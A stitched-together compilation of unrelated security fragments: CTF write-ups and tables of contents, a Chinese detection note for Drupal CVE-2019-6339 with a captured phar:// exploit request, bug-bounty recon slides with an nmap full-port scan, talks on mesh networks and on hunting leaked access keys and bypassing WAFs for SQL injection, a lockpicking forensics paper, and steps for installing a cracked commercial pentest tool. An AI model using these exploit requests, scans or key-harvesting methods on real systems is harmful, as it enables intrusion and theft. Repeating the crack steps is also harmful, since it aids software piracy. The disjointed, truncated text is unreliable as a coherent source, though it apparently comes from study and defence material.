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## Frog Fractions 2(reversing, 5 points, 65 solves) Turns out Frog Fractions 2 is not battletoads We're given a 64bit elf file, let's start by disassembling it and describing important points in the program. The program uses a library called libgmp to handle big numbers, it makes the debugging less friendly. After analysing the binary come we come up with a replacement script in python: ```python data = [] #scraped data array from binary primes = [] #init primes somewhere v11 = 1019 line = "A sample line input" #our input def factor_print(a1): v4 = a1 for x in range(200): c = 0 while(v4 % primes[x] == 0): v4 = v4/primes[x]; c = c+1 if(c != 0): sys.stdout.write(chr(c)) print for i in range(len(line)): v11 = v11* pow(primes[i], ord(line[i])) j =0 while(j < len(data)/2): v6 = data[j*2] v7 = data[j*2+1] v10 = v11*v6 if(v10 % v7 == 0): v11 = v10/v7 j = 0 else: j = j+1 factor_print(v11) ``` While searching through the binary we stumble into two big, interesting integers: 62834...(6955 chars) and 50209...(8423 chars). What's interesting about them is that if we run them through our `factor_print` function we get the 2 messages available: `Nope! You need to practice your fractions!` `Congratulations! Treat yourself to some durians!` So we need to find a line that reproduces the second output message, we do that by reversing the function: ```python def crack(v11): j = 0 while(j < len(data)/2): v7 = data[j*2] v6 = data[j*2+1] v10 = v11*v6 if(v10 % v7 == 0): v11 = v10/v7 j = 0 else: j = j+1 factor_print(v11) ``` Which gives us the desired output: `KEY{(By the way, this challenge would be much easier with a cybernetic frog brain)}` The full source is available [here](https://gist.github.com/nazywam/0634494b4b1c0ffd46a3)


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# Writeup Ekoparty CTF 2016 Team: nazywam, other019, c7f.m0d3, cr019283, msm, rev, shalom ![](./score.png) ### Table of contents * [F#ck (re 50)](re_50) * [RrEeGgEeXx (re 75)](re_75) * [Bleeding (pwn 50)](pwn_50) * [My first service I (pwn 100)](pwn_100) * [Super duper advanced attack (web 100)](web_100) * [Old but gold (misc 250)](misc_250) * [Vsftpd dejavu (for 150)](for_150) * [Old times (re 100)](re_100) * [Metadata (fbi 50)](fbi_50) * [Carder (web 150)](web_150) * [Hacker In Disguise (for 100)](for_100)


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# T1190-CVE-2019-6339-Drupal 远程代码执行漏洞 ## 来自ATT&CK的描述 使用软件数据或命令来利用面向Internet的计算机系统或程序中的弱点从而导致意外或无法预期的行为系统的弱点可能是错误故障或设计漏洞这些应用程序通常是网站但是可以包括数据库例如SQL标准服务例如SMB 或SSH以及具有Internet可访问开放的任何其他应用程序例如Web服务器和相关服务根据所利用的缺陷这可能包括利用防御防卫 如果应用程序托管在基于云的基础架构上则对其进行利用可能会导致基础实际应用受到损害这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径 对于网站和数据库OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞 ## 测试案例 Drupal是使用PHP语言编写的开源内容管理框架CMF它由内容管理系统CMS和PHP开发框架Framework共同构成连续多年荣获全球最佳CMS大奖是基于PHP语言最著名的WEB应用程序人们通常将Drupal拿来和另一个著名的开源CMS即Joomla进行比较由于难度更大而中文资源较Joomla更少Drupal在中国的普及程度较Joomla更低 Drupal core 7.62之前的7.x版本8.6.6之前的8.6.x版本和8.5.9之前的8.5.x版本中的内置phar stream wrapperPHP存在远程代码执行漏洞远程攻击者可利用该漏洞执行任意的php代码 在Drupal Core版本7.x之前的7.62,8.6.x之前的8.6.6和8.5.x之前的8.5.x; 在对phar://URI执行文件操作时PHP的内置phar流包装器中存在一个远程执行代码漏洞一些Drupal代码corecontrib和custom可能正在对用户输入执行文件操作从而暴露于此漏洞 ## 检测日志 HTTP ## 测试复现 具体利用过程可参考:<https://blog.csdn.net/qq_40989258/article/details/104970882> ## 测试留痕 ```yml POST /admin/config/media/file-system HTTP/1.1 Host: 172.17.41.106:8080 Connection: keep-alive Content-Length: 340 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://172.17.41.106:8080 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://172.17.41.106:8080/admin/config/media/file-system Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,be;q=0.8 Cookie: 8ciy_2132_ulastactivity=1747%2BBj3bIdraT%2FhUrMgbV9hBzsnRDad5PbJ4P8FXwvrlsfGVbOx; 8ciy_2132_nofavfid=1; 8ciy_2132_saltkey=h7AR59Bx; 8ciy_2132_lastvisit=1603172255; SESS69d0dbb3a7ccb7aab441a7efa90bb8ae=WSVdSnEkxmap5tU9TGG21HegyssjX2hEk8BkBOBEyiU file_temporary_path=phar%3A%2F%2F.%2Fsites%2Fdefault%2Ffiles%2Fpictures%2F2020-10%2Fblog-ZDI-CAN-7232-cat.jpg&file_default_scheme=public&temporary_maximum_age=21600&form_build_id=form-iN0z3-CojyQl7Pl


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1 How To Shot Web (Better hacking in 2015) 2 Jason Haddix  Bugcrowd  Director of Technical Ops  Hacker & Bug hunter  #1 on all-time leaderboard bugcrowd 2014 whoami @jhaddix 3 Hack Stuff Better (and practically) What this talks about... AndLOTS of memes. only some are funny 4 Step 1: Cut a hole in a box... j/k Step 1: Started with my bug hunting methodology Step 2: Parsed some of the top bug hunters research (web/mobile only for now) Step 3: Create kickass preso Topics? BB philosophy shifts, discovery techniques, mapping methodology, parameters oft attacked, useful fuzz strings, bypass or filter evasion techniques, new/awesome tooling More Specifically 5 Philosophy 6 Differences from standard testing Single-sourced Crowdsourced  looking mostly for common-ish vulns  not competing with others  incentivized for count  payment based on sniff test  looking for vulns that arent as easy to find  racing vs. time  competitive vs. others  incentivized to find unique bugs  payment based on impact not number of findings 7 The regular methodologies 8 Discovery 9 Find the road less traveled  means find the application (or parts of an application) less tested. 1. *.acme.com scope is your friend 2. Find domains via Google (and others!) a. Can be automated well via recon-ng and other tools. 3. Port scan for obscure web servers or services (on all domains) 4. Find acquisitions and the bounty acquisition rules a. Google has a 6 month rule 5. Functionality changes or re-designs 6. Mobile websites 7. New mobile app versions 10 Tool: Recon-ng script (enumall.sh) https://github.com/jhaddix/domain 11 12 LMGTFY 13 LMGTFY 14 15 https://www.facebook.com/notes/phwd/facebook-bug-bounties/707217202701640 16 Port scanning is not just for Netpen! A full port scan of all your new found targets will usually yield #win:  separate webapps  extraneous services  Facebook had Jenkins Script console with no auth  IIS.net had rdp open vulnerable to MS12_020 nmap -sS -A -PN -p- --script=http-title dontscanm


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What the Watchers See Weaknesses in Municipal Mesh Network Deployments Dus8n Hoﬀman & Thomas (TK) Kinsey DEF CON 22 Dus8n Hoﬀman the researcher, not the actor :(  Senior Engineer @ Exigent Systems  Principal @ various other concerns Thomas (TK) Kinsey  Senior Engineer @ Exigent Systems  Principal @ 3Kappa Research What The Watchers See How it started  open wiﬁ network(s) available What The Watchers See The Transparent Society by David Brin hRp://archive.wired.com/wired/archive/4.12/Wransparent_pr.html What The Watchers See Why are municipali8es deploying these networks? City services: police, traﬃc, 2-way audio, site monitoring, force mul8plier, shrinking budgets :( What The Watchers See Network implementa8on Wireless mesh Mo8va8ons: lower cost, shorten install 8me, no trenching, permi]ng What The Watchers See Project / Integra8on Vendors E.g., LeverageIS hRp://www.leverageis.com/ What The Watchers See What The Watchers See Implementa8on Hardware Common oﬀ-the-shelf hardware e.g. Fire8de/UNICOM, Bosh cameras, DVR/NVRs What The Watchers See Our Lab What The Watchers See What The Watchers See Fire8de speciﬁc info: ﬁlesystem reverse engineering etc. What The Watchers See Implementa8on Protocols 802.11 2.4Ghz, 5Ghz, & 900Mhz Mesh: Open standards vs AutoMesh Interes8ngly, 2.4Ghz is in use, not men8oned hRp://www.cityofredlands.org/sites/default/ﬁles/Purchasing/Public %20Safety%20Camera%20System%20Admin%202014%20RFP %205.5.14.pdf What The Watchers See Mesh in general:  Mul8ple wireless paths  Nodes arent guaranteed a reliable connec8on to the backhaul  Protocol provides node IDs, mesh health info, etc. What The Watchers See Wired Mesh What The Watchers See Mesh in Our Speciﬁc Case hRp://www.cityofredlands.org/sites/default/ﬁles/Purchasing/Public%20Safety%20Camera%20System%20Admin%202014%20RFP%205.5.14.pdf What The Watchers See AutoMesh Speciﬁcs  Proprietary & details not published  19 patents to date What The Watchers See AutoMesh Speciﬁcs External headers look normal Wha


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U . S. D E P A R T M E N T O F C O M M E R C E N A TI O N A L T E L E C O M M U N I C A T I O N S & I N F O R M A TI O N A D M I N IS T R A T I O N MOBILE (AERONAUTICAL TELEMETERING) S) 5.68 5.73 5.90 5.95 6.2 6.525 6.685 6.765 7.0 7.1 7.3 7.35 8.1 8.195 8.815 8.965 9.040 9.4 9.5 9.9 9.995 10.003 10.005 10.1 10.15 11.175 11.275 11.4 11.6 11.65 12.05 12.10 12.23 13.2 13.26 13.36 13.41 13.57 13.6 13.8 13.87 14.0 14.25 14.35 14.990 15.005 15.010 15.10 15.6 15.8 16.36 17.41 17.48 17.55 17.9 17.97 18.03 18.068 18.168 18.78 18.9 19.02 19.68 19.80 19.990 19.995 20.005 20.010 21.0 21.45 21.85 21.924 22.0 22.855 23.0 23.2 23.35 24.89 24.99 25.005 25.01 25.07 25.21 25.33 25.55 25.67 26.1 26.175 26.48 26.95 26.96 27.23 27.41 27.54 28.0 29.7 29.8 29.89 29.91 30.0 UNITED STATES THE RADIO SPECTRUM NON-GOVERNMENT EXCLUSIVE GOVERNMENT/ NON-GOVERNMENT SHARED GOVERNMENT EXCLUSIVE RADIO SERVICES COLOR LEGEND ACTIVITY CODE NOT ALLOCATED RADIONAVIGATION FIXED MARITIME MOBILE FIXED MARITIME MOBILE FIXED MARITIME MOBILE Radiolocation RADIONAVIGATION FIXED MARITIME MOBILE Radiolocation FIXED MARITIME MOBILE FIXED MARITIME MOBILE AERONAUTICAL RADIONAVIGATION AERONAUTICAL RADIONAVIGATION Aeronautical Mobile Maritime Radionavigation (Radio Beacons) MARITIME RADIONAVIGATION (RADIO BEACONS) Aeronautical Radionavigation (Radio Beacons) 3 9 14 19.95 20.05 30 30 59 61 70 90 110 130 160 190 200 275 285 300 3 kHz 300 kHz 300 kHz 3 MHz 3 MHz 30 MHz 30 MHz 300 MHz 3 GHz 300 GHz 300 MHz 3 GHz 30 GHz Aeronautical Radionavigation (Radio Beacons) MARITIME RADIONAVIGATION (RADIO BEACONS) Aeronautical Mobile Maritime Radionavigation (Radio Beacons) AERONAUTICAL RADIONAVIGATION (RADIO BEACONS) AERONAUTICAL RADIONAVIGATION (RADIO BEACONS) Aeronautical Mobile Aeronautical Mobile RADIONAVIGATION AERONAUTICAL RADIONAVIGATION MARITIME MOBILE Aeronautical Radionavigation MOBILE (DISTRESS AND CALLING) MARITIME MOBILE MARITIME MOBILE (SHIPS ONLY) MOBILE AERONAUTICAL RADIONAVIGATION (RADIO BEACONS) AERONAUTICAL RADIO


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SRC漏洞挖掘漫谈 星光 2 0 2 1 年 1 月 9 日 安 全 爱 好 者  对 自 动 化 漏 洞 挖 掘 有 着 自 己 的 见 解  获 得 2 0 2 1 T S R C 神 洞 猎 手 奖 星光 AK/ SK 信 息 泄 露  自 动发 现 SQ L 注 入 绕 WAF探 测 Hos t 碰 撞 检 测 实 现 域 名 监 控和 站 点变 化 监 控 AK/SK 信息泄露自动发现 一AK/SK 信息泄露自动发现 1.API& 响 应 包 中 2.J S 件 中 3.G it Hu b 中 4 .APK& 中 5 .& 等 场 景 1API&响应包中 通 过 B u r p 的 筛 选 功 能 搜 索  A K I D  一AK/SK 信息泄露自动发现 2JS件中  框 架 使   泛  J S 按 需 加 载  动 态 爬  难 触 发  寻 找 清 单  件 一AK/SK 信息泄露自动发现  正 则 匹 配 清 单 内 容  成 功 解 析 到 J S 路 径  路 径 等 信 息 提   正 则 匹 配 A K I D 一AK/SK 信息泄露自动发现 3GitHub中 搜 索  s e c r e t K e y R s e c r e t I D  等 关 键 字 一AK/SK 信息泄露自动发现 4APK中 通 过 爬  收 集 A P K R U R L 一AK/SK 信息泄露自动发现 具 p y t hon& 整 合 下  的软 件 wge t & 下 载 a p k 件 j a dx & 反 编 译 a p k gr e p & 匹 配 关 键 字 一AK/SK 信息泄露自动发现 SQL注入绕WAF探测 1 . 存 在 W A F   法 使  特 殊 语 句 2 . 构 建 不 同 语 句   对 响 应 3 . 注 释 语 句  效 果 最 好 4 . 单 引 号 闭 合 5 . 异 常 信 息 匹 配 6 . 等 二SQL注入绕WAF探测 Host 碰撞检测实现 三Host 碰撞检测实现 1 . W e b 服 务 器 配 置 不 当 2 . 修 改 H o s t 内  域 名 可 被 访 问 3 . 内  站 点 被 访 问 往 往 存 在 问 题 1.灯塔等具收集域名 2.解析域名找公IP和内域名 3.对公IP访问Host字段改成内域名 4.对响应找到结果 三Host 碰撞检测实现 误报处理 1 . 结 果 静 态 过 滤 根 据 经 验 只 保 留 2 0 0  3 0 1  3 0 2 R 状 态 码 2 . 动 态 过 滤 根 据 状 态 码  C o n t e n t 类 型  页  标 题  响 应 B o d y R 多 个 维 度 判 断 重 复 三Host 碰撞检测实现 域名监控和站点变化监控 四域名监控和站点变化监控 0.SRC资产更新频繁乏 1 .  域 名 监 控 周 期 性 对  域 名 进  发 现 并  对 原 有 数 据  发 现 新 域 名 进  消 息 通 知 2 . 站 点 变 化 监 控 周 期 性 发 现 可 访 问 站 点 并  对 原 有 数 据  发 现 新 站 点 进  消 息 通 知 四域名监控和站点变化监控 追 光 少 年 终 于 也 变 成 了 光


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Lockpicking Forensics by datagram www.lockpickingforensics.com www.lockwiki.com Defcon 17, 2009 www.defcon.org If you've been to a computer security conference recently you've no doubt seen people learning how to pick locks and crack safes. In the United States, interest in physical security has become a natural extension of the growing number of people interested in computer security. Many computer security events now host some form of lockpicking event, or an area where people can learn about locks, safes, and methods to compromise them, commonly known as a lockpicking village. At many of these events attendees focus on techniques to compromise locks and safes without discussing the forensic evidence they leave behind. Many instructors and speakers (the author included) portray many of these techniques in a manner that leads people to believe that they cannot be detected. In some cases this is true, but the vast majority of tools and techniques leave distinct forensic evidence. This paper describes forensic locksmithing, the field of forensic investigation that relates to lock and keying systems. Included in this paper is normal wear and tear, evidence left behind by a variety of entry techniques, keying system analysis, and the investigative process. This paper was written as a companion to my Defcon 17 (2009) talk and does not provide exhaustive coverage of the topic. A more thorough resource on forensic locksmithing (and contact information) is available at www.lockpickingforensics.com. Destructive vs. Covert vs. Surreptitious Entry Before we begin, we need to understand the difference between ways lock or keying systems are compromised. Methods of entry are generally classified as being destructive, covert, or surreptitious. Essentially, the distinction between them rests on the type of forensic evidence they leave behind. When we discuss whether or not methods of entry leave behind forensic evidence we restrict our view to lock- related evidence. It is quite


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1.准备操作系统windows2012 r2 x64(8G RAM,500G HDD) 2.对系统进行全局代理翻墙系统需要安装.net framwork 3.5 sp1以及microsoft visual c++ version 2019-2015) 3.点击CORE IMPACT19.1 4.结束CORE IMPACT的相关进程或者服务 5.将破解包中的program files 和programData目录所有文件复制到系统C盘下 6.将破解包中的三个序列号文件复制到C:\Program Files (x86)\Core Security\Impact\bin\5372-8801-2329-7643-5724 目录下 7.重启电脑并打开Impact即可


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# MeePwn CTF 2018 Quals Team: shalom, eternal, rev, nazywam, c7f.m0d3, rodbert, msm ### Table of contents * [Bazik (crypto)](crypto_bazik) * [Omega Sector (web)](web_omega) * [Old school (crypto)](crypto_old_school) * [Image crackme (re/crypto)](re_image) * [PyCalcX 1 & 2 (web)](web_pycalcx) * [Ezchallz (web/crypto)](crypto_ezchallz) * [0xBAD Minton (web/pwn)](pwn_badminton) * [EX5 (re)](re_EX5) * [XSS (re)](re_XSS) * [BitBitBit (crypto)](crypto_bitbitbit)